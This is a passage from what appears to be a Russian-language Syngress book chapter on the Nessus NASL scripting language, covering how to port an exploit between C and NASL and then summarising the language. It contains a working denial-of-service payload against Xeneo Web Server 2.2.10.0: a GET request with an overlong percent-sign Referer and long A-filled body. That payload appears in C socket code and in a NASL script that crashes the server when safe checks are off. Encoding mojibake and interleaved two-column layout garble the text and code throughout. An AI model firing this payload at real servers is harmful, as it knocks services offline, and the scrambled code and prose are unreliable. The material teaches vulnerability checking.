60 { ñòðîêå íîìåð TCP-ïîðòà.
61 printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà!\r\n"); 3. Ïîñëàòü çàïðîñ HTTP GET ñ äëèííûì çàãîëîâêîì Referer.
62 exit(1); 4. Ïðîâåðèòü, ÷òî õîñò ïåðåñòàë îòâå÷àòü.
63 }
64 Ïñåâäîêîä ýòîãî ñöåíàðèÿ óæå ïðèâîäèëñÿ â êà÷åñòâå ïðèìåðà âûøå. Äëÿ
65 printf("Ðàçðåøåíèå èìåíè õîñòà...\n"); óäîáñòâà ïîâòîðèì åãî:
66 if ((pTarget = gethostbyname(target)) == NULL)
67 { 1 example_exploit(ip, port)
68 printf("Íå óäàëîñü ðàçðåøèòü èìÿ %s\n", argv[1]); 2 target_ip = ip # âûâåñòè ñîîáùåíèå îá îøèáêå è âûéòè, åñëè
69 exit(1); 3 # IP-àäðåñ íå óêàçàí
70 } 4 target_port = port # åñëè ïîðò íå çàäàí, ïî óìîë÷àíèþ 80
71 5
72 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 6 local_socket = ïîëó÷èòü îòêðûòûé ñîêåò íà ëîêàëüíîé ñèñòåìå
73 sock.sin_family = AF_INET; 7 ïîëó÷èòü èíôîðìàöèþ îá IP îò õîñòà ïî àäðåñó target_ip
74 sock.sin_port = htons((USHORT)port); 8 sock = ñòðóêòóðà, çàïîëíåííàÿ ïîëó÷åííîé èíôîðìàöèåé
75 9 my_socket = connect_socket (local_socket, sock)
76 printf("Ñîåäèíÿþñü...\n"); 10
77 if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) ))) 11 string payload = HTTP-çàãîëîâîê ñ î÷åíü äëèííûì Referer
78 { 12 send(my_socket, payload, length(payload)
79 printf("Íå óäàëîñü ñîåäèíèòüñÿ ñ õîñòîì.\n"); 13 exit
80 exit(1);
81 }
Ñëåäóþùèé øàã – ïåðåíåñòè ýòîò ïñåâäîêîä íà NASL, îðèåíòèðóÿñü íà ïðè-
82
83 printf("Ñîåäèíåíèå óñòàíîâëåíî!...\n");
âåäåííûå â ýòîé ãëàâå ïðèìåðû è êîä äðóãèõ ñöåíàðèåâ, êîòîðûå ìîæíî çàã-
84 printf("Îòïðàâëÿþ çàïðîñ...\n"); ðóçèòü ñ ñàéòà nessus.org. Âîò îêîí÷àòåëüíûé âàðèàíò NASL-ñöåíàðèÿ.
85 if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
86 { 1 # Xeneo Web Server 2.2.10.0 DoS
87 printf("Îøèáêà ïðè îòïðàâêå ïîëåçíîé íàãðóçêè ýêñïëîéòà\r\n"); 2 #
88 closesocket(mysocket); 3 # Óÿçâèìûå ñèñòåìû:
89 exit(1); 4 # Xeneo Web Server 2.2.10.0 DoS
90 } 5 #
91 6 # Ïðîèçâîäèòåëü:
138 Глава 2. Язык сценариев NASL Перенос на языке NASL и наоборот 139
7 # http://www.northernsolutions.com 56 script_require_ports("Services/www",80);
8 # 57 exit(0);
9 # Íà îñíîâå: 58 }
10 # Îñíîâàí íà èçâåùåíèè îïóáëèêîâàííîì badpacket3t è ^Foster 59
11 # For Security Protocols Research Labs [23 àïðåëÿ, 2003] 60 include("http_func.inc");
12 # http://security-protocols.com/article.php?sid=1481 61
13 # 62 port = get_kb_item("Services/www");
14 # Èñòîðèÿ: 63 if ( !port ) port = 80;
15 # Xeneo 2.2.9.0 óÿçâèì äëÿ äâóõ ðàçíûõ DoS-àòàê: 64 if ( !get_port_state(port) ) exit(0);
16 # (1) Xeneo_Web_Server_2.2.9.0_DoS.nasl 65
17 # Ýòà àòàêà "âàëèò" ñåðâåð ïóòåì îòïðàâêè çàïðîñà â âèäå î÷åíü 66 if ( safe_checks() ) {
18 # äëèííîãî URL, íà÷èíàþùåãîñÿ ñî çíàêà âîïðîñà (íàïðèìåð, 67
19 # /?AAAAA[....]AAAA). 68 # â ðåæèìå áåçîïàñíîé ïðîâåðêè òîëüêî àíàëèçèðóåòñÿ øàïêà
20 # Åå îáíàðóæèë badpack3t, ýêñïëîéò íàïèñàë Foster,
69 b = get_http_banner(port: port);
21 # à ïðîâåðêó íà NASL – BEKRAR Chaouki.
70
22 # (2) Xeneo_Percent_DoS.nasl
71 # Äîëæíî ñîîòâåòñòâîâàòü Xeneo/2.0, 2.1, and 2.2.0-2.2.11
23 # Ýòà àòàêà "âàëèò" ñåðâåð ïóòåì îòïðàâêè åìó çàïðîñà "/%A".
72 if ( b =~ 'Server: *Xeneo/2\\.(([0-1][ \t\r\n.])|(2(\\.([0-9]|10|11
24 # Åå îáíàðóæèë Carsten H. Eiram <che@secunia.com>,
))?[ \t\r\n]))' ) {
25 # à NASL-ñöåíàðèé íàïèñàë Michel Arboi.
73 report = "
26 #
74 Xeneo Web Server âåðñèé 2.2.10.0 è íèæå ìîæåò áûòü "ïîâàëåí"
27
28 if ( description ) {
75 ïóòåì îòïðàâêè ñïåöèàëüíîãî çàïðîñà GET, ñîñòîÿùåãî èç íåñêîëüêèõ
29 script_version("$Revision:1.0$"); 76 ñîòåí çíàêîâ ïðîöåíòà è ïåðåìåííîé ñ èìåíåì whatyoutyped, çíà÷åíèå
30 name["english"] = "Xeneo Web Server 2.2.10.0 DoS"; 77 êîòîðîé ñîäåðæèò íåñêîëüêî ñîòåí áóêâ A.
31 name["francais"] = "Xeneo Web Server 2.2.10.0 DoS"; 78
32 script_name(english:name["english"], francais:name["francais"]); 79 ** Îòìåòèì, ÷òî Nessus íå âûïîëíÿëà ðåàëüíîãî òåñòà, à
33 80 ** òîëüêî ïðîâåðèëà íîìåð âåðñèè â øàïêå
34 desc["english"] = " 81
35 Ýòîò ýêñïëîéò áûë îáíàðóæåí âñëåä çà äâóìÿ äðóãèìè DoS-ýêñïëîéòàìè 82 Ðåøåíèå : ïåðåéòè íà ïîñëåäíþþ âåðñèþ Web-ñåðâåðà Xeneo.
äëÿ Web-ñåðâåðà Xeneo 2.2.9.0. Îí âûïîëíÿåò ñëåãêà ìîäèôèöèðîâàííûé 83 Îöåíêà ðèñêà : âûñîêèé";
çàïðîñ GET ñ òåì æå ðåçóëüòàòîì – ñåðâåð Xeneo ïàäàåò. 84
36 85 security_hole(port: port, data: report);
37 Ðåøåíèå : ïåðåéòè íà ïîñëåäíþþ âåðñèþ Web-ñåðâåðà Xeneo 86 }
38 Îöåíêà ðèñêà : âûñîêèé"; 87
39 88 exit(0);
40 script_description(english:desc["english"]); 89
41 90 } else {
42 summary["english"] = "Xeneo Web Server 2.2.10.0 DoS"; 91 # ðåæèì áåçîïàñíûõ ïðîâåðîê îòêëþ÷åí, ïðîáóåì DoS-àòàêó
43 summary["francais"] = "Xeneo Web Server 2.2.10.0 DoS"; 92
44 script_summary(english:summary["english"], 93 if ( http_is_dead(port:port) ) exit(0);
45 francais:summary["francais"]); 94
46 95 soc = http_open_socket(port);
47 script_category(ACT_DENIAL); 96 if( soc ) {
48 97 payload = "GET /index.html?testvariable=&nexttestvariable=gif
49 script_copyright(english:"No copyright."); HTTP/1.1\r\n
50 98 Referer:
51 family["english"] = "Denial of Service"; http://localhost/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
52 family["francais"] = "Deni de Service"; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
53 script_family(english:family["english"], %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
54 francais:family["francais"]); %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
55 script_dependencies("find_service.nes"); %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n
140 Глава 2. Язык сценариев NASL Перенос на языке NASL и наоборот 141
99 Content-Type: application/x-www-form-urlencoded\r\n íèÿ, êîòîðàÿ âêëþ÷àåò áàçó çíàíèé, áèáëèîòåêó ôóíêöèé è ìíîãîå äåëàåò çà
100 Connection: Keep-Alive\r\n
âàñ. Ïðîãðàììèðîâàíèå ðàáîòû ñ ñîêåòàìè, ìåõàíèçìà ðåãóëÿðíûõ âûðàæå-
101 Cookie: VARIABLE=SPLABS; path=/\r\n
102 User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n íèé è ïîèñêà â ñòðîêàõ – î÷åíü íåïðîñòàÿ çàäà÷à, åñëè ðåøàòü åå íà êîìïèëè-
103 Variable: result\r\n ðóåìîì ÿçûêå. Äàæå ïðè èñïîëüçîâàíèè áèáëèîòåêè Perl Compatible Regular
104 Host: localhost\r\n Expressions (PCRE – ðåãóëÿðíûå âûðàæåíèÿ, ñîâìåñòèìûå ñ Perl) äëÿ C++ äëÿ
105 Content-length: 513\r\n
106 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
îäíîãî òîëüêî ñîïîñòàâëåíèÿ ñ îáðàçöîì ìîæåò ïîíàäîáèòüñÿ íàïèñàòü äî
image/png\r\n 25 ñòðîê êîäà. Åñëè ãîâîðèòü î ñëîæíîñòè, òî òðóäíåå âñåãî ïåðåíîñèòü êîä
107 Accept-Encoding: gzip\r\n äëÿ ðàáîòû ñ ñîêåòàìè. Âñå, êîíå÷íî, çàâèñèò îò öåëåâîãî ÿçûêà, íî íå èñ-
108 Accept-Language: en\r\n êëþ÷åíî, ÷òî ïðèäåòñÿ çàíîâî ðåàëèçîâûâàòü ìíîãèå áàçîâûå ìåõàíèçìû
109 Accept-Charset: iso-8859-1,*,utf-8\r\n\r\n\r\n
110
èëè èñêàòü ñïîñîá âêëþ÷èòü â ñâîé ïðîåêò ñóùåñòâóþùèå áèáëèîòåêè. Âîò
whatyoutyped=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀÀÀÀÀÀÀ íåñêîëüêî ïðàâèë, êîòîðûå ñòîèò ïîìíèòü ïðè ïåðåíîñå ñöåíàðèåâ ñ NASL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ íà äðóãèå ÿçûêè:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ 1. Ñîáåðèòå óÿçâèìóþ ñèñòåìó-æåðòâó è ïîäãîòîâüòå ëîêàëüíûé àíàëèçà-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ òîð ïðîòîêîëîâ (ñíèôåð). Ýòà ñèñòåìà áóäåò èñïîëüçîâàòüñÿ äëÿ ñðàâíå-
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"; íèÿ èñõîäíîãî ñöåíàðèÿ è íàïèñàííîé âàìè ïðîãðàììû, à àíàëèçàòîð
111
112 # îòïðàâëÿåì ïîëåçíóþ íàãðóçêó
ïîìîæåò óáåäèòüñÿ, ÷òî â îáîèõ ñëó÷àÿõ ïîñûëàåòñÿ â òî÷íîñòè îäèíà-
113 send(socket:soc, data:payload); êîâàÿ ïîñëåäîâàòåëüíîñòü áèòîâ.
114 r = http_recv(socket:soc); 2. Ïðè ïåðåíîñå â ïåðâóþ î÷åðåäü çàéìèòåñü ñîçäàíèåì ñîêåòîâ. Êîãäà
115 http_close_socket(soc); ïðîãðàììà íàó÷èòñÿ ïîñûëàòü ëþáûå äàííûå, ìîæíî áóäåò ïåðåéòè
116
117 # åñëè ñåðâåð óïàë, ñîîáùèòü î ñåðüåçíîé óÿçâèìîñòè
ê ñîçäàíèþ ïîëåçíîé íàãðóçêè.
118 if ( http_is_dead(port:port) ) security_hole(port); 3. Åñëè â öåëåâîì ÿçûêå íåò âñòðîåííîé ïîääåðæêè ðåãóëÿðíûõ âûðàæå-
119 } íèé, à â èñõîäíîì NASL-ñöåíàðèè ïðîèçâîäèòñÿ ñîïîñòàâëåíèå ñòðîê
120 } ñ ðåãóëÿðíûìè âûðàæåíèÿìè, òî îáðàòèòåñü ê áèáëèîòåêå PCRE äëÿ
C/C++.
Ïåðåíîñ ñ ÿçûêà NASL 4. Óáåäèòåñü, ÷òî â ïåðåíîñèìîé ïðîãðàììå âñå òèïû äàííûõ îáúÿâëåíû
Ìîæíî âûïîëíèòü îáðàòíûé ïðîöåññ è ïåðåíåñòè ïðîãðàììó ñ NASL íà äðó- ïðàâèëüíî.
ãèå ÿçûêè. Äëÿ òàêîãî æåëàíèÿ ìîæåò áûòü íåñêîëüêî ïðè÷èí: 5. Ïî÷òè âî âñåõ ÿçûêàõ (êðîìå Javascri pt, Perl è Java) âàì ïðèäåòñÿ ðåàëè-
 NASL ðàáîòàåò ìåäëåííåå, ÷åì Perl èëè Java, è çíà÷èòåëüíî ìåäëåííåå, çîâàòü êàêîé-íèáóäü êëàññ äëÿ ðàáîòû ñî ñòðîêàìè. Ýòî óïðîñòèò êîí-
÷åì C èëè C++. Íàëè÷èå áàçû çíàíèé è ïîâûøåíèå ïðîèçâîäèòåëüíî- ñòðóèðîâàíèå ïîëåçíîé íàãðóçêè äëÿ àòàêè è àíàëèç îòâåòîâ.
ñòè ïðè ïåðåõîäå îò NASL1 ê NASL2 íåñêîëüêî óìåíüøèëè ðàçíèöó, 6. Íàêîíåö, âàøà ïðîãðàììà äîëæíà ñäåëàòü ÷òî-òî ïîëåçíîå. Ïîñêîëüêó
íî, êîãäà íàäî ïðîñêàíèðîâàòü áîëüøóþ ñåòü, ýòîò ôàêòîð âñå æå ñëå- íåëüçÿ âîñïîëüçîâàòüñÿ ôóíêöèåé display èëè ïåðåäàòü îò÷åò îá óÿçâè-
äóåò ïðèíèìàòü âî âíèìàíèå; ìîñòè ÿäðó Nessus, òî íåîáõîäèìî îïðåäåëèòü, êàê ïðîãðàììà ñîîá-
 Âàì ìîæåò ïîíàäîáèòüñÿ âêëþ÷èòü ôóíêöèîíàëüíîñòü NASL-ñöåíàðèÿ ùèò î ðåçóëüòàòå.  áîëüøèíñòâå ñëó÷àåâ äîñòàòî÷íî âûâåñòè íà
â äðóãîé èíñòðóìåíò (íàïðèìåð, óòèëèòó ïîèñêà óÿçâèìîñòåé, ÷åðâü, âè- STDOUT ñîîáùåíèå ÓßÇÂÈÌÀ.
ðóñ èëè èíñòðóìåíòàëüíûé êîìïëåêò);
 Âû ìîæåòå çàõîòåòü çàïóñòèòü ñöåíàðèé íå èç Nessus, à, íàïðèìåð, ïðÿ-
ìî èç Web-ñåðâåðà.
Åñëè âû íå âëàäååòå â ñîâåðøåíñòâå ÿçûêîì, íà êîòîðûé ñîáèðàåòåñü ïåðå-
íîñèòü ïðîãðàììó, òî ïåðåâîä ñ NASL ìîæåò îêàçàòüñÿ ñëîæíåå, ÷åì ïåðåâîä
íà NASL. Äåëî â òîì, ÷òî Nessus ïðåäñòàâëÿåò ñîáîé ñðåäó ïðîãðàììèðîâà-
142 Глава 2. Язык сценариев NASL Обзор изложенного материала 143

Резюме Обзор изложенного материала


ßçûê NASL, ïîäîáíî ÿçûêó Custom Audit Scripting Language (CASL – ÿçûê ñöå- Ñèíòàêñèñ ÿçûêà NASL
íàðèåâ äëÿ àóäèòà áåçîïàñíîñòè), ðàñïðîñòðàíÿåìîìó êîìïàíèåé Network Asso- ; Ïåðåìåííûå íå îáÿçàòåëüíî îáúÿâëÿòü çàðàíåå. Ïðåîáðàçîâàíèå òè-
ciates, Inc. (NAI), ñïðîåêòèðîâàí äëÿ ðàñøèðåíèÿ âîçìîæíîñòåé ìåõàíèçìà àíà- ïîâ, à òàêæå âûäåëåíèå è îñâîáîæäåíèå ïàìÿòè ïðîèçâîäÿòñÿ àâòîìà-
ëèçà óÿçâèìîñòåé, èìåþùåãîñÿ â áåñïëàòíîé ïðîãðàììå Nessus (www.nessus.org). òè÷åñêè.
Ïðîåêò Nessus, êîòîðûé â 1998 ãîäó çàïóñòèë Ðåíî Äåðåçîí, áûë è îñòàåòñÿ ; Ñóùåñòâóåò äâà âèäà ñòðîê: «÷èñòûå» è «íåî÷èùåííûå». Íåî÷èùåííûå
ñàìûì ïîïóëÿðíûì áåñïëàòíûì ðåøåíèåì çàäà÷è îöåíêè óÿçâèìîñòè ñèñòå- ñòðîêè çàêëþ÷àþòñÿ â äâîéíûå êàâû÷êè, escape-ïîñëåäîâàòåëüíîñòè
ìû è óïðàâëåíèÿ áåçîïàñíîñòüþ. Õîòÿ äëÿ ðåàëèçàöèè áîëüøåé ÷àñòè ñðåäñòâ â íèõ íå ïðåîáðàçóþòñÿ. ×èñòûå ñòðîêè îáîçíà÷àþòñÿ îäèíî÷íûìè êà-
èäåíòèôèêàöèè õîñòîâ è ñêàíèðîâàíèÿ ïîðòîâ â Nessus èñïîëüçóåòñÿ ïðîòî- âû÷êàìè Âñòðîåííàÿ ôóíêöèÿ string ïðåîáðàçóåò «î÷èùàåò» ñòðîêè ïó-
êîë Network Messaging Appl ication Protocol (NMAP – ïðèêëàäíîé ïðîòîêîë ñå- òåì èíòåðïðåòàöèè escape-ïîñëåäîâàòåëüíîñòåé. Òàê, íåî÷èùåííàÿ
òåâûõ ñîîáùåíèé), íî óñèëèÿìè âñåìèðíîãî ñîîáùåñòâà ðàçðàáîò÷èêîâ ýòà ñòðîêà «City\tState» áóäåò ïðåîáðàçîâàíà â ÷èñòóþ ñòðîêó «City State».
ïðîãðàììà îáðîñëà ìíîæåñòâîì ñöåíàðèåâ, êîòîðûå ïðîâåðÿþò âñå àñïåêòû ; Íå ñóùåñòâóåò îòäåëüíîãî áóëåâñêîãî òèïà. Íî èìåþòñÿ êîíñòàíòû
áåçîïàñíîñòè: íàëè÷èå óñòàíîâëåííûõ ñðî÷íûõ èñïðàâëåíèé (hot-fixes) äëÿ TRUE è FALSE, îïðåäåëåííûå êàê 1 è 0 ñîîòâåòñòâåííî.
Windows, îáíàðóæåíèå ñëóæá UNIX è Web, èäåíòèôèêàöèÿ ñåòåâûõ óñò-
ðîéñòâ è âîçìîæíîñòü ïðèñîåäèíåíèÿ ê áåñïðîâîäíûì òî÷êàì äîñòóïà. Íàïèñàíèå ñöåíàðèåâ íà ÿçûêå NASL
NASL – ýòî èíòåðïðåòèðóåìûé ÿçûê, òî åñòü ñèíòàêñè÷åñêèé àíàëèç ïðî-
ãðàììû ïðîèñõîäèò âî âðåìÿ âûïîëíåíèÿ.  NASL2 âêëþ÷åíû îáúåêòíî- ; Ñöåíàðèè íà NASL ïðåñëåäóþò îäíó èç äâóõ öåëåé. Îäíè ïèøóòñÿ äëÿ
îðèåíòèðîâàííûå âîçìîæíîñòè, â ÷àñòíîñòè ñîçäàíèå ñîáñòâåííûõ êëàññîâ. ëè÷íîãî óïîòðåáëåíèÿ è âûïîëíÿþò êîíêðåòíûå çàäà÷è, êîòîðûå
Ïðè ïåðåõîäå îò NASL1 ê NASL2 áûëî ðåàëèçîâàíî íåìàëî óëó÷øåíèé, èç áîëüøå íèêîìó ìîãóò áûòü íå èíòåðåñíû. Äðóãèå ïðîâåðÿþò íàëè÷èå
êîòîðûõ ñàìîå çàìåòíîå – êðàòíîå ïîâûøåíèå ïðîèçâîäèòåëüíîñòè. NASL óÿçâèìîñòåé èëè îøèáîê êîíôèãóðèðîâàíèÿ è ìîãóò áûòü ïîäàðåíû
îáëàäàåò î÷åíü ïðîñòûì è ïîíÿòíûì API äëÿ ðàáîòû ñ ñîêåòàìè è ñåòåâûìè âñåìó ñîîáùåñòâó ïîëüçîâàòåëåé Nessus äëÿ ïîâûøåíèÿ ñòåïåíè áåçî-
ïðîòîêîëàìè, à òàêæå áàçîé çíàíèé, êîòîðàÿ ïîçâîëÿåò õðàíèòü è ïîâòîðíî ïàñíîñòè ñåòåé âî âñåì ìèðå.
èñïîëüçîâàòü ðåçóëüòàòû ðàíåå âûïîëíåííûõ ñöåíàðèåâ. Íàðÿäó ñ áîëüøèì ;  NASL åñòü äåñÿòêè âñòðîåííûõ ôóíêöèé, îáåñïå÷èâàþùèõ ïðîñòîé
êîëè÷åñòâîì îáùåäîñòóïíûõ ñöåíàðèåâ, íàïèñàííûõ ñïåöèàëüíî äëÿ Nessus, äîñòóï ê óäàëåííûì õîñòàì ïî ïðîòîêîëàì TCP è UDP. Îíè ïîçâîëÿþò
áàçà çíàíèé – îäíî èç ñàìûõ ïðèìå÷àòåëüíûõ ñâîéñòâ ïðîäóêòà.  íåé ìîæ- îòêðûâàòü è çàêðûâàòü ñîêåòû, ïîñûëàòü è ïðèíèìàòü ñòðîêè, îïðåäå-
íî õðàíèòü âñå, ÷òî óãîäíî: øàïêè ïðèëîæåíèé, ïåðå÷åíü îòêðûòûõ ïîðòîâ ëÿòü, «âûæèë» ëè õîñò ïîñëå àòàêè è ïîëó÷àòü ðàçëè÷íóþ èíôîðìàöèþ
èëè íàéäåííûå ïàðîëè. î õîñòå, íàïðèìåð, åãî èìÿ, IP-àäðåñ è ñëåäóþùèé îòêðûòûé ïîðò.
Êàê ïðàâèëî, ïåðåíîñ êîäà íà ÿçûê NASL íå âûçûâàåò ñëîæíîñòåé, íî, êî- ; Åñëè Nessus ñîáðàíà ñ áèáëèîòåêîé OpenSSL, òî èíòåðïðåòàòîð ïðåäî-
íå÷íî, ÷åì äëèííåå èñõîäíàÿ ïðîãðàììà, òåì áîëüøå âðåìåíè ïîòðåáóåòñÿ äëÿ ñòàâëÿåò ôóíêöèè, êîòîðûå âîçâðàùàþò ðàçëè÷íûå êðèïòîãðàôè÷å-
åå ïåðåíîñà. Ê ñîæàëåíèþ, íå ñóùåñòâóåò îáùåäîñòóïíîãî àâòîìàòè÷åñêîãî ñêèå ñâåðòêè è êîíòðîëüíûå ñóììû.  ÷àñòíîñòè, ïîääåðæèâàþòñÿ àë-
òðàíñëÿòîðà ñ äðóãèõ ÿçûêîâ íà NASL. Ãîðàçäî ñëîæíåå ïåðåíåñòè êîä ñ NASL ãîðèòìû MD2, MD4, MD5, RIPEMD160, SHA è SHA1.
íà äðóãîé ÿçûê. Ýòî îáóñëîâëåíî áîëüøèì ÷èñëîì âñòðîåííûõ â ÿçûê ôóíê- ;  NASL åñòü ôóíêöèè äëÿ ðàñùåïëåíèÿ ñòðîê, ñîïîñòàâëåíèÿ ñ ðåãóëÿð-
öèé, êîòîðûå íà äðóãîì ÿçûêå ïðèõîäèòñÿ ðåàëèçîâûâàòü ñàìîñòîÿòåëüíî. íûìè âûðàæåíèÿìè, óäàëåíèÿ õâîñòîâûõ ïðîáåëîâ, âû÷èñëåíèÿ äëèíû
Íàïèñàíèå íà NASL ñöåíàðèåâ äëÿ âûïîëíåíèÿ ñëîæíûõ çàäà÷ ìîæåò ñòðîêè è ïðåîáðàçîâàíèÿ ðåãèñòðà áóêâ â ñòðîêå.
çàíÿòü íåñêîëüêî ìèíóò, ÷àñîâ èëè äíåé â çàâèñèìîñòè îò îáúåìà óæå ïðîäå-
ëàííîé ðàíåå êåì-òî ðàáîòû. Ñàìîå ñëîæíîå – îïðåäåëèòü ïîñëåäîâàòåëü- Ñöåíàðèè íà ÿçûêå NASL
íîñòü àòàêè è ðåøèòü, êàêàÿ ðåàêöèÿ æåðòâû ñâèäåòåëüñòâóåò î íàëè÷èè ; ×òîáû ìîæíî áûëî ïðåäîñòàâèòü ñâîé ñöåíàðèé â îáùåå ïîëüçîâàíèå,
óÿçâèìîñòè. NASL – ýòî âåëèêîëåïíûé ÿçûê äëÿ ñîçäàíèÿ ñöåíàðèåâ, îòíîñÿ- íåîáõîäèìî ñëåäîâàòü îïðåäåëåííûì ïðàâèëàì: äîáàâèòü çàãîëîâîê,
ùèõñÿ ê áåçîïàñíîñòè, íàâåðíîå, íàèáîëåå ñîâðåìåííûé è ê òîìó æå ñîâåð- êðàòêîå è äåòàëüíîå îïèñàíèå è äðóãóþ èíôîðìàöèþ, íåîáõîäèìóþ
øåííî áåñïëàòíûé. ÿäðó Nessus.
144 Глава 2. Язык сценариев NASL Часто задаваемые вопросы 145

; Ïîëüçîâàòüñÿ áàçîé çíàíèé íåòðóäíî ïî äâóì ïðè÷èíàì:


 Äîñòóï ê íåé ïðîñò è ïîçâîëÿåò íå òðàòèòü óñèëèÿ íà òàêèå âåùè Часто задаваемые вопросы
êàê èçâëå÷åíèå øàïêè, ñêàíèðîâàíèå ïîðòîâ è ïîâòîðíóþ ðåàëè-
çàöèþ ôóíêöèîíàëüíîñòè ñàìîé áàçû çíàíèé; Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
 Nessus àâòîìàòè÷åñêè ïîðîæäàåò íîâûå ïðîöåññû, åñëè áàçà çíàíèé
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
âîçâðàùàåò áîëåå îäíîãî ðåçóëüòàòà. íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the Author
Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
Ïåðåíîñ ïðîãðàìì íà ÿçûê NASL è îáðàòíî ãèõ îòâåòîâ íà ñàéòå ITFAQnet.com.
; Ïåðåíîñ ïðîãðàììû – ýòî ïðîöåäóðà ïåðåâîäà åå êîäà ñ îäíîãî ÿçûêà íà
äðóãîé. Êîíöåïòóàëüíî ýòî íåñëîæíî, íî íà ïðàêòèêå ìîãóò âîçíèê- Â: Ìîæíî ëè ïðîäîëæàòü ïèñàòü ñöåíàðèè íà ÿçûêå NASL1?
íóòü ñåðüåçíûå çàòðóäíåíèÿ èç-çà íåîáõîäèìîñòè äîñòàòî÷íîãî âëàäå- Î: Ïðîñòîé îòâåò – íåò. Âïðî÷åì, íåêîòîðûå NASL1-ñöåíàðèè ìîæåò ðà-
íèÿ îáîèìè ÿçûêàìè. çîáðàòü èíòåðïðåòàòîð NASL2. Îáðàòíîå âûïîëíèìî ãîðàçäî ðåæå. Â NASL2
; NASL èìååò áîëüøå îáùåãî ñ òàêèìè ÿçûêàìè, êàê Perl è C, ÷åì ñ æåñ- âêëþ÷åíî ìíîæåñòâî óñîâåðøåíñòâîâàíèé, ïîýòîìó «èçó÷àéòå íîâîå».
òêî ñòðóêòóðèðîâàííûìè ÿçûêàìè òèïà Java è Python.
; Ñèíòàêñè÷åñêè C è NASL î÷åíü ïîõîæè, íî NASL ïîääåðæèâàåò ñëàáî Â: Íàñêîëüêî ýôôåêòèâåí NASL ïî ñðàâíåíèþ ñ Perl èëè ÿçûêîì Microsoft
òèïèçèðîâàííûå ïåðåìåííûå è óäîáíûå âûñîêîóðîâíåâûå ôóíêöèè ECMA?
ìàíèïóëèðîâàíèÿ ñòðîêàìè, íàïîìèíàþùèå òî, ÷òî åñòü â Perl. Òè- Î: NASL – ýôôåêòèâíûé ÿçûê, íî îí íå ìîæåò ðàâíÿòüñÿ ñ Perl ïî ðàçâèòî-
ïè÷íûé NASL-ñöåíàðèé ñîäåðæèò ãëîáàëüíûå ïåðåìåííûå è ðÿä ôóíê- ñòè ïîääåðæêè, êîëè÷åñòâó ôóíêöèé è áûñòðîäåéñòâèþ. ×òî êàñàåòñÿ èíòåð-
öèé äëÿ äîñòèæåíèÿ ïîñòàâëåííîé öåëè. ïðåòàòîðà Microsoft ECMA, òî ýòî áàçîâàÿ òåõíîëîãèÿ, íà êîòîðîé ïîñòðîåíû
òàêèå ÿçûêè ñöåíàðèåâ Microsoft êàê Javascri pt è VBScri pt. Îíè áûñòðåå è,
ñ íåêîòîðîé òî÷êè çðåíèÿ, áîëåå ñîâðåìåííûå, ÷åì Perl. Îáúåêòíî-îðèåíòè-
Ссылки на сайты ðîâàííàÿ ìîäåëü â íèõ ÷èùå è ïðîùå äëÿ ðàáîòû, íî ê ÷èñëó íåäîñòàòêîâ
ñëåäóåò îòíåñòè ïðèâÿçêó ê ïëàòôîðìå Windows.
Áîëåå ïîäðîáíóþ èíôîðìàöèþ âû íàéäåòå íà ñëåäóþùèõ ñàéòàõ:
 www.nessus.org – îñíîâíîé ñàéò ïðîåêòà Nessus ïîñâÿùåí ðàçðàáîòêå Â: Åñòü ëè àâòîìàòè÷åñêèå òðàíñëÿòîðû äëÿ ïåðåíîñà íà NASL èëè îáðàòíî?
Î: Íåò. Âî âðåìÿ ðàáîòû íàä ýòîé êíèãîé íå ñóùåñòâîâàëî îáùåäîñòóï-
íîâûõ ñöåíàðèåâ äëÿ îáíàðóæåíèÿ óÿçâèìîñòåé;
íûõ èíñòðóìåíòîâ òàêîãî ðîäà.
 www.tenablesecurity.com – ñàéò êîììåð÷åñêîé êîìïàíèè Tenable
Security, çàíèìàþùåéñÿ ðàçðàáîòêîé ïðîäóêòîâ äëÿ îöåíêè óÿçâèìîñòè
Â: Ìîæíî ëè ïîâòîðíî èñïîëüçîâàòü îáúåêòû, íàïèñàííûå íà NASL, êàê
ñèñòåì, â êîòîðûõ èñïîëüçóþòñÿ íàïèñàííûå äëÿ Nessus ñöåíàðèè. Ñàìà
